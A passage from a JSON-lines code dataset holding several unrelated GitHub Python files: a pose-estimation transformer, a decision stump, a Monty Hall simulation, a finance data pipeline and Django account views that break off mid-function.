size [n_obj, 3], contains the relative translation for each object present\n in the image w.r.t the camera.\n - relative_rotation: tensor of size [n_obj, 3, 3], contains the relative rotation for each object present\n in the image w.r.t. the camera.\n\n\n It returns a dict with the following elements:\n - pred_translation: tensor of size [batch_size, n_queries, 3], predicted relative translation for each\n object query w.r.t. camera\n - pred_rotation: tensor of size [batch_size, n_queries, 3, 3], predicted relative rotation for each\n object query w.r.t. camera\n - pred_boxes: tensor of size [batch_size, n_queries, 4], predicted bounding boxes (x_c, y_c, w, h) for each\n object query normalized to the image size\n - pred_classes: tensor of size [batch_size, n_queries], predicted class for each\n object query\n - aux_outputs: Optional, only returned when auxiliary losses are activated. It is a list of dictionaries\n containing the output values for each decoder layer.\n\n It returns a list \"n_boxes_per_sample\" of length [batch_size, 1], which contains the number of\n \"\"\"\n\n if not isinstance(samples, NestedTensor):\n samples = nested_tensor_from_tensor_list(samples)\n\n # Store the image size in HxW\n image_sizes = [[sample.shape[-2], sample.shape[-1]] for sample in samples.tensors]\n features, pos, pred_objects = self.backbone(samples)\n\n # Extract the bounding boxes for each batch element\n pred_boxes = []\n pred_classes = []\n query_embeds = []\n n_boxes_per_sample = []\n\n # Depending on the bbox mode, we either use ground truth bounding boxes or backbone predicted bounding boxes for\n # transformer query input embedding calculation.\n if self.bbox_mode in ['gt', 'jitter'] and targets is not None:\n for t, target in enumerate(targets):\n # GT from COCO loaded as x1,y1,x2,y2, but by data loader transformed to cx, cy, w, h and normalized\n if self.bbox_mode == 'gt':\n t_boxes = target[\"boxes\"]\n elif self.bbox_mode == 'jitter':\n t_boxes = target[\"jitter_boxes\"]\n n_boxes = len(t_boxes)\n n_boxes_per_sample.append(n_boxes)\n\n # Add classes\n t_classes = target[\"labels\"]\n\n # For the current number of boxes determine the query embedding\n query_embed = self.bbox_embedding(t_boxes)\n # As the embedding will serve as the query and key for attention, duplicate it to be later splitted\n query_embed = query_embed.repeat(1, 2)\n\n # We always predict a fixed number of object poses per image set to the maximum number of objects\n # present in a single image throughout the whole dataset. Check whether this upper limit is reached,\n # otherwise fill up with dummy embeddings that are defined as cx,cy,w,h = [-1, -1, -1, -1]\n # Dummy boxes will later be filtered out by the matcher and not used for cost calculation\n if n_boxes < self.n_queries:\n dummy_boxes = torch.tensor([[-1, -1, -1, -1] for i in range(self.n_queries-n_boxes)],\n dtype=torch.float32, device=t_boxes.device)\n\n dummy_embed = torch.tensor([[-10] for i in range(self.n_queries-n_boxes)],\n dtype=torch.float32, device=t_boxes.device)\n dummy_embed = dummy_embed.repeat(1, self.hidden_dim*2)\n t_boxes = torch.vstack((t_boxes, dummy_boxes))\n query_embed = torch.cat([query_embed, dummy_embed], dim=0)\n dummy_classes = torch.tensor([-1 for i in range(self.n_queries-n_boxes)],\n dtype=torch.int, device=t_boxes.device)\n t_classes = torch.cat((t_classes, dummy_classes))\n pred_boxes.append(t_boxes)\n query_embeds.append(query_embed)\n pred_classes.append(t_classes)\n elif self.bbox_mode == 'backbone':\n # Prepare the output predicted by the backbone\n # Iterate over batch and prepare each image in batch\n for bs, predictions in enumerate(pred_objects):\n if predictions is None:\n # Case: Backbone has not predicted anything for image\n # Add only dummy boxes, but mark that nothing has been predicted\n n_boxes = 0\n n_boxes_per_sample.append(n_boxes)\n backbone_boxes = torch.tensor([[-1, -1, -1, -1] for i in range(self.n_queries - n_boxes)],\n dtype=torch.float32, device=features[0].decompose()[0].device)\n query_embed = torch.tensor([[-10] for i in range(self.n_queries - n_boxes)],\n dtype=torch.float32, device=features[0].decompose()[0].device)\n query_embed = query_embed.repeat(1, self.hidden_dim * 2)\n backbone_classes = torch.tensor([-1 for i in range(self.n_queries - n_boxes)], dtype=torch.int64,\n device=features[0].decompose()[0].device)\n else:\n # Case: Backbone predicted something\n backbone_boxes = predictions[:, :4]\n backbone_boxes = box_ops.box_xyxy_to_cxcywh(backbone_boxes)\n # TODO: Adapt to different image sizes as we assume constant image size across the batch\n backbone_boxes = box_ops.box_normalize_cxcywh(backbone_boxes, image_sizes[0])\n n_boxes = len(backbone_boxes)\n\n # Predicted classes by backbone // class 0 is \"background\"\n # Scores predicted by the backbone are needed for top-k selection\n backbone_scores = predictions[:, 4]\n backbone_classes = predictions[:, 5]\n backbone_classes = backbone_classes.type(torch.int64)\n\n # For the current number of boxes determine the query embedding\n query_embed = self.bbox_embedding(backbone_boxes)\n # As the embedding will serve as the query and key for attention, duplicate it to be later splitted\n query_embed = query_embed.repeat(1, 2)\n\n if n_boxes < self.n_queries:\n # Fill up with dummy boxes to match the query size and add dummy embeddings\n dummy_boxes = torch.tensor([[-1, -1, -1, -1] for i in range(self.n_queries - n_boxes)],\n dtype=torch.float32, device=backbone_boxes.device)\n dummy_embed = torch.tensor([[-10] for i in range(self.n_queries - n_boxes)],\n dtype=torch.float32, device=backbone_boxes.device)\n dummy_embed = dummy_embed.repeat(1, self.hidden_dim * 2)\n backbone_boxes = torch.cat([backbone_boxes, dummy_boxes], dim=0)\n query_embed = torch.cat([query_embed, dummy_embed], dim=0)\n dummy_classes = torch.tensor([-1 for i in range(self.n_queries - n_boxes)],\n dtype=torch.int64, device=backbone_boxes.device)\n backbone_classes = torch.cat([backbone_classes, dummy_classes], dim=0)\n elif n_boxes > self.n_queries:\n # Number of boxes will be limited to the number of queries\n n_boxes = self.n_queries\n # Case: backbone predicts more output objects than queries available --> take top n_queries\n # Sort scores to get the post top performing ones\n backbone_scores, indices = torch.sort(backbone_scores, dim=0, descending=True)\n backbone_classes = backbone_classes[indices]\n backbone_boxes = backbone_boxes[indices, :]\n query_embed = query_embed[indices, :]\n\n # Take the top n predictions\n backbone_scores = backbone_scores[:self.n_queries]\n backbone_classes = backbone_classes[:self.n_queries]\n backbone_boxes = backbone_boxes[:self.n_queries]\n query_embed = query_embed[:self.n_queries]\n n_boxes_per_sample.append(n_boxes)\n pred_boxes.append(backbone_boxes)\n pred_classes.append(backbone_classes)\n query_embeds.append(query_embed)\n else:\n raise NotImplementedError(\"PoET Bounding Box Mode not implemented!\")\n\n query_embeds = torch.stack(query_embeds)\n pred_boxes = torch.stack(pred_boxes)\n pred_classes = torch.stack(pred_classes)\n\n srcs = []\n masks = []\n for lvl, feat in enumerate(features):\n # Iterate over each feature map of the backbone returned.\n # If num_feature_levels == 1 then the backbone will only return the last one. Otherwise each is returned.\n src, mask = feat.decompose()\n srcs.append(self.input_proj[lvl](src))\n masks.append(mask)\n assert mask is not None\n if self.num_feature_levels > len(srcs):\n # If more feature levels are required than the backbone provides then additional feature maps are created\n _len_srcs = len(srcs)\n for lvl in range(_len_srcs, self.num_feature_levels):\n if lvl == _len_srcs:\n src = self.input_proj[lvl](features[-1].tensors)\n else:\n src = self.input_proj[lvl](srcs[-1])\n m = samples.mask\n mask = F.interpolate(m[None].float(), size=src.shape[-2:]).to(torch.bool)[0]\n pos_l = self.backbone[1](NestedTensor(src, mask)).to(src.dtype)\n srcs.append(src)\n masks.append(mask)\n pos.append(pos_l)\n\n if self.ref_points_mode == 'bbox':\n reference_points = pred_boxes[:, :, :2]\n else:\n reference_points = None\n\n if self.query_embedding_mode == 'learned':\n query_embeds = self.query_embed.weight\n\n # Pass everything to the transformer\n hs, init_reference, _, _, _ = self.transformer(srcs, masks, pos, query_embeds, reference_points)\n\n outputs_translation = []\n outputs_rotation = []\n bs, _ = pred_classes.shape\n output_idx = torch.where(pred_classes > 0, pred_classes, 0).view(-1)\n\n # Iterate over the decoder outputs to calculate the intermediate and final outputs (translation and rotation)\n for lvl in range(hs.shape[0]):\n output_rotation = self.rotation_head[lvl](hs[lvl])\n output_translation = self.translation_head[lvl](hs[lvl])\n if self.class_mode == 'specific':\n # Select the correct output according to the predicted class in the class-specific mode\n output_rotation = output_rotation.view(bs * self.n_queries, self.n_classes, -1)\n output_rotation = torch.cat([query[output_idx[i], :] for i, query in enumerate(output_rotation)]).view(\n bs, self.n_queries, -1)\n\n output_translation = output_translation.view(bs * self.n_queries, self.n_classes, -1)\n output_translation = torch.cat(\n [query[output_idx[i], :] for i, query in enumerate(output_translation)]).view(bs, self.n_queries,\n -1)\n\n output_rotation = self.process_rotation(output_rotation)\n\n outputs_rotation.append(output_rotation)\n outputs_translation.append(output_translation)\n\n outputs_rotation = torch.stack(outputs_rotation)\n outputs_translation = torch.stack(outputs_translation)\n\n out = {'pred_translation': outputs_translation[-1], 'pred_rotation': outputs_rotation[-1],\n 'pred_boxes': pred_boxes, 'pred_classes': pred_classes}\n\n if self.aux_loss:\n out['aux_outputs'] = self._set_aux_loss(outputs_translation, outputs_rotation, pred_boxes, pred_classes)\n\n return out, n_boxes_per_sample\n\n def _set_aux_loss(self, outputs_translation, outputs_quaternion, pred_boxes, pred_classes):\n return [{'pred_translation': t, 'pred_rotation': r, 'pred_boxes': pred_boxes, 'pred_classes': pred_classes}\n for t, r in zip(outputs_translation[:-1], outputs_quaternion[:-1])]\n\n def process_rotation(self, pred_rotation):\n \"\"\"\n Processes the predicted output rotation given the rotation mode.\n '6d' --> Gram Schmidt\n 'quat' or 'silho_quat' --> L2 normalization\n else: Raise error\n \"\"\"\n if self.rotation_mode == '6d':\n return self.rotation_6d_to_matrix(pred_rotation)\n elif self.rotation_mode in ['quat', 'silho_quat']:\n return F.normalize(pred_rotation, p=2, dim=2)\n else:\n raise NotImplementedError('Rotation mode is not supported')\n\n def rotation_6d_to_matrix(self, rot_6d):\n \"\"\"\n Given a 6D rotation output, calculate the 3D rotation matrix in SO(3) using the Gramm Schmit process\n\n For details: https://openaccess.thecvf.com/content_CVPR_2019/papers/Zhou_On_the_Continuity_of_Rotation_Representations_in_Neural_Networks_CVPR_2019_paper.pdf\n \"\"\"\n bs, n_q, _ = rot_6d.shape\n rot_6d = rot_6d.view(-1, 6)\n m1 = rot_6d[:, 0:3]\n m2 = rot_6d[:, 3:6]\n\n x = F.normalize(m1, p=2, dim=1)\n z = torch.cross(x, m2, dim=1)\n z = F.normalize(z, p=2, dim=1)\n y = torch.cross(z, x, dim=1)\n rot_matrix = torch.cat((x.view(-1, 3, 1), y.view(-1, 3, 1), z.view(-1, 3, 1)), 2) # Rotation Matrix lying in the SO(3)\n rot_matrix = rot_matrix.view(bs, n_q, 3, 3) #.transpose(2, 3)\n return rot_matrix\n\n\nclass SetCriterion(nn.Module):\n \"\"\" This class computes the loss for PoET, which consists of translation and rotation for now.\n The process happens in two steps:\n 1) we compute hungarian assignment between ground truth boxes and the outputs of the model\n 2) we supervise each pair of matched ground-truth / prediction (supervise translation and rotation)\n \"\"\"\n def __init__(self, matcher, weight_dict, losses):\n \"\"\" Create the criterion.\n Parameters:\n matcher: module able to compute a matching between targets and proposals\n weight_dict: dict containing as key the names of the losses and as values their relative weight.\n losses: list of all the losses to be applied. See get_loss for list of available losses.\n \"\"\"\n super().__init__()\n self.matcher = matcher\n self.weight_dict = weight_dict\n self.losses = losses\n\n def loss_translation(self, outputs, targets, indices):\n \"\"\"\n Compute the loss related to the translation of pose estimation, namely the mean square error (MSE).\n outputs must contain the key 'pred_translation', while targets must contain the key 'relative_position'\n Position / Translation are expected in [x, y, z] meters\n \"\"\"\n idx = self._get_src_permutation_idx(indices)\n src_translation = outputs[\"pred_translation\"][idx]\n tgt_translation = torch.cat([t['relative_position'][i] for t, (_, i) in zip(targets, indices)], dim=0)\n n_obj = len(tgt_translation)\n\n loss_translation = F.mse_loss(src_translation, tgt_translation, reduction='none')\n loss_translation = torch.sum(loss_translation, dim=1)\n loss_translation = torch.sqrt(loss_translation)\n losses = {}\n losses[\"loss_trans\"] = loss_translation.sum() / n_obj\n return losses\n\n def loss_rotation(self, outputs, targets, indices):\n \"\"\"\n Compute the loss related to the rotation of pose estimation represented by a 3x3 rotation matrix.\n The function calculates the geodesic distance between the predicted and target rotation.\n L = arccos( 0.5 * (Trace(R\\tilde(R)^T) -1)\n Calculates the loss in radiant.\n \"\"\"\n eps = 1e-6\n idx = self._get_src_permutation_idx(indices)\n src_rot = outputs[\"pred_rotation\"][idx]\n tgt_rot = torch.cat([t['relative_rotation'][i] for t, (_, i) in zip(targets, indices)], dim=0)\n n_obj = len(tgt_rot)\n\n product = torch.bmm(src_rot, tgt_rot.transpose(1, 2))\n trace = torch.sum(product[:, torch.eye(3).bool()], 1)\n theta = torch.clamp(0.5 * (trace - 1), -1 + eps, 1 - eps)\n rad = torch.acos(theta)\n losses = {}\n losses[\"loss_rot\"] = rad.sum() / n_obj\n return losses\n\n def loss_quaternion(self, outputs, targets, indices):\n \"\"\"\n Compute the loss related to the rotation of pose estimation represented in quaternions, namely the quaternion loss\n Q_loss = - log(² + eps), where eps is a small values for stability reasons\n\n outputs must contain the key 'pred_quaternion', while targets must contain the key 'relative_quaternions'\n Quaternions expected in representation [w, x, y, z]\n \"\"\"\n eps = 1e-4\n idx = self._get_src_permutation_idx(indices)\n src_quaternion = outputs[\"pred_rotation\"][idx]\n tgt_quaternion = torch.cat([t['relative_quaternions'][i] for t, (_, i) in zip(targets, indices)], dim=0)\n n_obj = len(tgt_quaternion)\n bs, q_dim = tgt_quaternion.shape\n\n dot_product = torch.mul(src_quaternion, tgt_quaternion)\n dp_sum = torch.sum(dot_product, 1)\n dp_square = torch.square(dp_sum)\n loss_quat = - torch.log(dp_square + eps)\n\n losses = {}\n losses[\"loss_rot\"] = loss_quat.sum() / n_obj\n return losses\n\n def loss_silho_quaternion(self, outputs, targets, indices):\n \"\"\"\n Compute the loss related to the rotation of pose estimation represented in quaternions, namely the quaternion loss\n Q_loss = log(1 - || + eps), where eps is a small values for stability reasons\n\n outputs must contain the key 'pred_quaternion', while targets must contain the key 'relative_quaternions'\n Quaternions expected in representation [w, x, y, z]\n \"\"\"\n eps = 1e-4\n idx = self._get_src_permutation_idx(indices)\n src_quaternion = outputs[\"pred_rotation\"][idx]\n tgt_quaternion = torch.cat([t['relative_quaternions'][i] for t, (_, i) in zip(targets, indices)], dim=0)\n n_obj = len(tgt_quaternion)\n bs, q_dim = tgt_quaternion.shape\n\n dot_product = torch.mul(src_quaternion, tgt_quaternion)\n dp_sum = torch.sum(dot_product, 1)\n loss_quat = torch.log(1 - torch.abs(dp_sum) + eps)\n\n losses = {}\n losses[\"loss_rot\"] = loss_quat.sum() / n_obj\n return losses\n\n def _get_src_permutation_idx(self, indices):\n # permute predictions following indices\n batch_idx = torch.cat([torch.full_like(src, i) for i, (src, _) in enumerate(indices)])\n src_idx = torch.cat([src for (src, _) in indices])\n return batch_idx, src_idx\n\n def _get_tgt_permutation_idx(self, indices):\n # permute targets following indices\n batch_idx = torch.cat([torch.full_like(tgt, i) for i, (_, tgt) in enumerate(indices)])\n tgt_idx = torch.cat([tgt for (_, tgt) in indices])\n return batch_idx, tgt_idx\n\n def get_loss(self, loss, outputs, targets, indices, **kwargs):\n loss_map = {\n 'translation': self.loss_translation,\n 'rotation': self.loss_rotation,\n 'quaternion': self.loss_quaternion,\n 'silho_quaternion': self.loss_silho_quaternion\n }\n assert loss in loss_map, f'do you really want to compute {loss} loss?'\n return loss_map[loss](outputs, targets, indices, **kwargs)\n\n def forward(self, outputs, targets, n_boxes):\n \"\"\" This performs the loss computation.\n Parameters:\n outputs: dict of tensors, see the output specification of the model for the format\n targets: list of dicts, such that len(targets) == batch_size.\n The expected keys in each dict depends on the losses applied, see each loss' doc\n n_boxes: Number of predicted objects per image\n \"\"\"\n outputs_without_aux = {k: v for k, v in outputs.items() if k != 'aux_outputs' and k != 'enc_outputs'}\n\n # Retrieve the matching between the outputs of the last layer and the targets\n indices = self.matcher(outputs_without_aux, targets, n_boxes)\n\n # Compute all the requested losses\n losses = {}\n for loss in self.losses:\n kwargs = {}\n losses.update(self.get_loss(loss, outputs, targets, indices, **kwargs))\n\n # In case of auxiliary losses, we repeat this process with the output of each intermediate layer.\n if 'aux_outputs' in outputs:\n for i, aux_outputs in enumerate(outputs['aux_outputs']):\n indices = self.matcher(aux_outputs, targets, n_boxes)\n for loss in self.losses:\n kwargs = {}\n l_dict = self.get_loss(loss, aux_outputs, targets, indices, **kwargs)\n l_dict = {k + f'_{i}': v for k, v in l_dict.items()}\n losses.update(l_dict)\n\n if 'enc_outputs' in outputs:\n enc_outputs = outputs['enc_outputs']\n bin_targets = copy.deepcopy(targets)\n indices = self.matcher(enc_outputs, bin_targets, n_boxes)\n for loss in self.losses:\n kwargs = {}\n l_dict = self.get_loss(loss, enc_outputs, bin_targets, indices, **kwargs)\n l_dict = {k + f'_enc': v for k, v in l_dict.items()}\n losses.update(l_dict)\n\n return losses\n\n\nclass MLP(nn.Module):\n \"\"\" Very simple multi-layer perceptron (also called FFN)\"\"\"\n\n def __init__(self, input_dim, hidden_dim, output_dim, num_layers):\n super().__init__()\n self.num_layers = num_layers\n h = [hidden_dim] * (num_layers - 1)\n self.layers = nn.ModuleList(nn.Linear(n, k) for n, k in zip([input_dim] + h, h + [output_dim]))\n\n def forward(self, x):\n for i, layer in enumerate(self.layers):\n x = F.relu(layer(x)) if i < self.num_layers - 1 else layer(x)\n return x\n\n\ndef build(args):\n device = torch.device(args.device)\n\n backbone = build_backbone(args)\n\n transformer = build_deforamble_transformer(args)\n model = PoET(\n backbone,\n transformer,\n num_queries=args.num_queries,\n num_feature_levels=args.num_feature_levels,\n n_classes=args.n_classes,\n bbox_mode=args.bbox_mode,\n ref_points_mode=args.reference_points,\n query_embedding_mode=args.query_embedding,\n rotation_mode=args.rotation_representation,\n class_mode=args.class_mode,\n aux_loss=args.aux_loss,\n backbone_type=args.backbone\n )\n\n matcher = build_matcher(args)\n weight_dict = {'loss_trans': args.translation_loss_coef, 'loss_rot': args.rotation_loss_coef}\n\n if args.rotation_representation == '6d':\n losses = ['translation', 'rotation']\n elif args.rotation_representation == 'quat':\n losses = ['translation', 'quaternion']\n elif args.rotation_representation == 'silho_quat':\n losses = ['translation', 'silho_quaternion']\n else:\n raise NotImplementedError('Rotation representation not implemented')\n\n if args.aux_loss:\n aux_weight_dict = {}\n for i in range(args.dec_layers - 1):\n aux_weight_dict.update({k + f'_{i}': v for k, v in weight_dict.items()})\n aux_weight_dict.update({k + f'_enc': v for k, v in weight_dict.items()})\n weight_dict.update(aux_weight_dict)\n\n criterion = SetCriterion(matcher, weight_dict, losses)\n criterion.to(device)\n\n return model, criterion, matcher\n","repo_name":"aau-cns/poet","sub_path":"models/pose_estimation_transformer.py","file_name":"pose_estimation_transformer.py","file_ext":"py","file_size_in_byte":31920,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"61"} +{"seq_id":"41810975624","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jan 17 09:27:14 2020\r\n\r\n@author: ZJX\r\n\"\"\"\r\nimport sys \r\n\r\ndef readData(path, idx):\r\n '''\r\n Read the txt file into a pandas dataframe\r\n '''\r\n data = []\r\n with open(path, 'r') as f:\r\n title = f.readline().strip().split('\\t')\r\n# data.append((title[idx], title[-1]))\r\n for line in f:\r\n record = line.strip().split('\\t')\r\n data.append((record[idx], record[-1]))\r\n return data\r\n\r\ndef trainModel(data):\r\n attribute0 = data[0][0]\r\n output0 = data[0][1]\r\n attribute1, output1 = -100, -100\r\n for record in data:\r\n if record[0] != attribute0:\r\n attribute1 = record[0]\r\n elif record[1] != output0:\r\n output1 = record[1]\r\n elif attribute1 != -100 and output1 != -100:\r\n break\r\n \r\n count0 = len([(x, y) for (x, y) in data if x == attribute0 and y == output0])\r\n count1 = len([(x, y) for (x, y) in data if x == attribute0 and y == output1])\r\n count2 = len([(x, y) for (x, y) in data if x == attribute1 and y == output0])\r\n count3 = len([(x, y) for (x, y) in data if x == attribute1 and y == output1])\r\n result = {attribute0: 0,\r\n attribute1: 0}\r\n if count0 > count1:\r\n result[attribute0] = output0\r\n elif count0 < count1:\r\n result[attribute0] = output1\r\n else:\r\n result[attribute0] = None\r\n \r\n if count2 > count3:\r\n result[attribute1] = output0\r\n elif count2 < count3:\r\n result[attribute1] = output1\r\n else:\r\n result[attribute1] = None\r\n return result\r\n\r\ndef hypothesis(model, data):\r\n label = []\r\n for record in data:\r\n for key in model:\r\n if key == record[0]:\r\n label.append(model[key])\r\n break\r\n return label\r\n\r\ndef calError(train_output, test_output, train_data, test_data):\r\n train_error_count, test_error_count = 0, 0\r\n for i in range(len(train_data)):\r\n if train_output[i] != train_data[i][1]:\r\n train_error_count += 1\r\n for i in range(len(test_data)):\r\n if test_output[i] != test_data[i][1]:\r\n test_error_count += 1\r\n return (train_error_count/len(train_data), test_error_count/len(test_data))\r\n\r\ndef labelOutput(output, out_path):\r\n with open(out_path, \"w\") as outputFile:\r\n for line in output:\r\n outputFile.write(\"%s\\n\" % line)\r\n\r\ndef metricsOutput(error, out_path):\r\n with open(out_path, \"w\") as outputFile:\r\n for idx, e in enumerate(error):\r\n if idx == 0:\r\n outputFile.write(\"error(train): %f\\n\" % e)\r\n elif idx == 1:\r\n outputFile.write(\"error(test): %f\\n\" % e)\r\n \r\ndef main():\r\n# train_input = 'politicians_train.tsv'\r\n# test_input = 'politicians_test.tsv'\r\n# split_index = 3\r\n# train_out = 'pol_%s_train.labels' % split_index\r\n# test_out = 'pol_%s_test.labels' % split_index\r\n# metrics_out = 'pol_%s_metrics.txt' % split_index\r\n train_input = sys.argv[1]\r\n test_input = sys.argv[2]\r\n split_index = int(sys.argv[3])\r\n train_out = sys.argv[4]\r\n test_out = sys.argv[5]\r\n metrics_out = sys.argv[6]\r\n \r\n train_data = readData(train_input, split_index)\r\n test_data = readData(test_input, split_index)\r\n \r\n model = trainModel(train_data)\r\n \r\n train_output = hypothesis(model, train_data)\r\n test_output = hypothesis(model, test_data)\r\n error = calError(train_output, test_output, train_data, test_data)\r\n \r\n labelOutput(train_output, train_out)\r\n labelOutput(test_output, test_out)\r\n metricsOutput(error, metrics_out)\r\n \r\nif __name__ == '__main__':\r\n main()\r\n \r\n ","repo_name":"Jiaxuan1/Machine-Learning-Project","sub_path":"Decision Tree/decisionStump.py","file_name":"decisionStump.py","file_ext":"py","file_size_in_byte":3701,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"30880886860","text":"\"\"\" Monty Hall Problem \"\"\"\nimport random\n\nclass Door:\n \"\"\" Door \"\"\"\n def __init__(self):\n self.answer = False\n self.opened = False\n\n def set_answer(self):\n \"\"\" set True to answer \"\"\"\n self.answer = True \n\nclass Field:\n \"\"\" Doors have many door \"\"\"\n def __init__(self, dnum):\n self.doors = list()\n for _ in range(dnum):\n self.doors.append(Door())\n self.doors[random.randrange(dnum)].set_answer()\n self.selected = -1\n\n def select_door(self, index):\n \"\"\" select index door \"\"\"\n self.selected = index\n \n def open_door(self):\n \"\"\" open incorrect and not selected door \"\"\"\n for i in range(len(self.doors)):\n if (not self.doors[i].answer) and (not i is self.selected):\n self.doors[i].opened = True\n print(\"open incorrect door {0}\".format(i))\n break\n \n def change_selected_door(self):\n \"\"\" change selected door \"\"\"\n for i in range(len(self.doors)):\n if (not self.doors[i].opened) and (not i is self.selected):\n print(\"change {0} to {1}\".format(self.selected, i))\n self.selected = i\n break\n\n def check_answer(self):\n \"\"\" check answer \"\"\"\n if self.doors[self.selected].answer:\n print(\"Correct Answer!\")\n return True\n else:\n print(\"Incorrect Answer...\")\n return False\n\ndef main():\n \"\"\" main function \"\"\"\n print(\"Monty Hall Simulator\")\n correct_num = 0\n incorrect_num = 0\n for num in range(1,101):\n print(\"Round {0}\".format(num))\n field = Field(3)\n select_id = random.randrange(3)\n field.select_door(select_id)\n print(\"select {0} door\".format(select_id))\n field.open_door()\n #field.change_selected_door()\n if field.check_answer():\n correct_num += 1\n else:\n incorrect_num += 1\n print()\n print()\n print(\"Correct:{0}, Incorrect:{1}\".format(correct_num, incorrect_num))\n\nmain()\n","repo_name":"dynamonda/montyhall","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2097,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"29139464314","text":"#-------------------------MAIN PROGRAM------------------------------------\nimport logging.config\nimport configparser\n\nfrom vnstock import * \nimport pandas\n\nfrom getdata.get_daily_data import DailyData\nfrom dao.redis.redis_dao import Redis\nfrom dao.elasticsearch.elastic_dao import ElasticSearch\n\nfrom utils.validate_redis_data import *\n\n\n#-------------------Set logging config------------------------------------\nlogging.basicConfig(level = logging.DEBUG, filename=\"./logs/log.txt\", format='---%(asctime)s: %(message)s', filemode='a')\nlogger = logging.getLogger()\n\n#-------------------Read config file--------------------------------------\nconfig = configparser.ConfigParser()\nconfig.read('./src/config/config.ini')\n\nREDIS_HOST = config.get(\"REDIS\", \"host\")\nREDIS_PORT = config.get(\"REDIS\", \"port\")\nREDIS_DB = config.get(\"REDIS\", \"db\")\nREDIS_EVENT_KEY = config.get(\"REDIS\", \"event_key\")\nREDIS_ERROR_EVENT_KEY = config.get(\"REDIS\", \"error_event_key\")\nPAGE_SIZE = config.get(\"REDIS\", \"page_size\")\n\nELASTIC_HOST = config.get(\"ELASTICSEARCH\", \"hosts\")\n#-------------------Get data from API and insert to Redis-------------------------------------\n\ndaily_data = DailyData(logger)\n\n#------------------Get data from Redis and insert to Spark/Hadoop----------\n\ndef process_data_redis():\n \"\"\"\n process data: validate number of data fields,...\n \"\"\"\n logger.info('Processing Redis data...!')\n\n redis_event = Redis(logger, REDIS_HOST, REDIS_PORT, REDIS_DB, REDIS_EVENT_KEY, REDIS_ERROR_EVENT_KEY)\n\n try:\n\n count_event_data = redis_event.count_event_len()\n\n while count_event_data > 0:\n logger.info('Processing %d events ...', count_event_data)\n\n raw_data = redis_event.get_event_data(0, int(PAGE_SIZE) - 1) # get event data (len = page size)\n redis_event.trim_event_data(int(PAGE_SIZE), -1) # pop above got data\n\n processed_data = validate_redis_data(raw_data)\n validated_data = processed_data[0]\n error_data = processed_data[1]\n\n if len(validated_data) > 0:\n #insert to Spark/Hadoop\n pass\n else:\n logger.info('No data validated!')\n\n if len(error_data) > 0:\n redis_event.insert_error_event(error_data) # insert error data to Redis\n # process later\n else:\n logger.info('No error data!')\n\n count_event_data -= 1\n\n logger.info('Job completed...!')\n\n except Exception:\n logger.error(\"Exception: \", exc_info=True)\n\n#------------------Insert to Elasticsearch---------------------------------\n\n\n#------------------Apache Airflow------------------------------------------\n\n\n","repo_name":"datcn1212/Finance-miniPlatform","sub_path":"src/main/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2717,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"26009095177","text":"from ecommerce.settings import EMAIL_HOST_USER, EMAIL_HOST_PASSWORD\n\nfrom django.contrib.auth import login, authenticate, logout\nfrom django.contrib.auth.decorators import login_required\nfrom django.core.mail import send_mail\nfrom django.http import HttpResponse\nfrom django.shortcuts import render, redirect, reverse\nfrom django.views.decorators.http import require_POST\nfrom django.views.generic.detail import DetailView\n\nfrom .forms import LoginForm, SignupForm, UserChangeForm\nfrom .models import User, EmailToken\n\nfrom store.models import Order, ShippingAddress\nfrom store.forms import ShippingAddressForm\n# Create your views here.\n\n# the reason i named it like that is because login is the name of the function\n# used to log the user in\ndef sign_in(request):\n if request.user.is_authenticated:\n return redirect('/')\n\n redirect_url = request.POST.get('next') or '/'\n\n form = LoginForm(request.POST or None)\n if form.is_valid():\n email = form.cleaned_data.get('email')\n password = form.cleaned_data.get('password')\n user = authenticate(request, email=email, password=password)\n if user:\n login(request, user)\n return redirect(redirect_url)\n form.add_error(\n field = 'email',\n error = 'error: please make sure that you provided the right credentials'\n )\n return render(request, 'accounts/login.html', {'form': form})\n\n\ndef register(request):\n if request.user.is_authenticated:\n return redirect('store:home-page')\n form = SignupForm(request.POST or None)\n if form.is_valid():\n user = form.save()\n return redirect('accounts:login')\n return render(request, 'accounts/register.html', {'form': form})\n\ndef logout_view(request):\n logout(request)\n return redirect('accounts:login')\n\n\ndef settings_view(request):\n form = UserChangeForm(instance=request.user)\n shipping_address_form = ShippingAddressForm()\n if request.method == 'POST':\n form = UserChangeForm(request.POST, instance=request.user)\n print(form)\n if form.is_valid():\n user = form.save(commit=False)\n user.first_name = form.cleaned_data['first_name']\n user.last_name = form.cleaned_data['last_name']\n user.save()\n return redirect('accounts:settings')\n else:\n return HttpResponse('inalid form')\n context = {\n 'form': form,\n 'shipping_address_form': shipping_address_form\n }\n return render(request, 'accounts/settings.html', context)\n\n\n@require_POST\n@login_required(login_url='/account/login')\ndef change_email(request):\n user = request.user \n t = EmailToken.objects.create(user=user)\n host = request.get_host()\n path = reverse('accounts:old-token-validation', kwargs={'token': t})\n old_email_confirmation_link = f'http://{host}{path}'\n recipient = request.user.email\n\n send_mail(\n subject = 'request for changing email',\n message = 'I do not know how is this gonna be displayed',\n html_message = f'hey {request.user.first_name}, you requested changing your email, click on this link to proceed, click here ',\n from_email = EMAIL_HOST_USER,\n recipient_list = [recipient],\n fail_silently=False,\n )\n\n return redirect('accounts:token_sent_success')\n\n@login_required(login_url='/account/login')\ndef token_sent_success(request):\n email = request.user.email\n return render(request, 'accounts/token_sent_success.html', {'email':email})\n\n@login_required(login_url='/account/login')\ndef old_token_validation(request, token):\n # get the token from the url argument and look it up using the token string\n # if it's active, deactivate it, and redirect to entering new email view\n try:\n token_obj = EmailToken.objects.get(token=token)\n if token_obj.active:\n token_obj.active = False\n token_obj.save()\n return render(request, 'accounts/token_validated.html')\n except Exception as error:\n return render(request, 'accounts/token_error.html', {'error':error})\n\n# when you get back from the gym, make the view to send the new email token, one to confirm it and change the email, and one to say\n# the operation was successful\n\n@require_POST\n@login_required(login_url='/account/login')\ndef new_email_token(request):\n recipient = request.POST.get('email')\n\n # try if the new email is already taken\n try:\n email_exists = 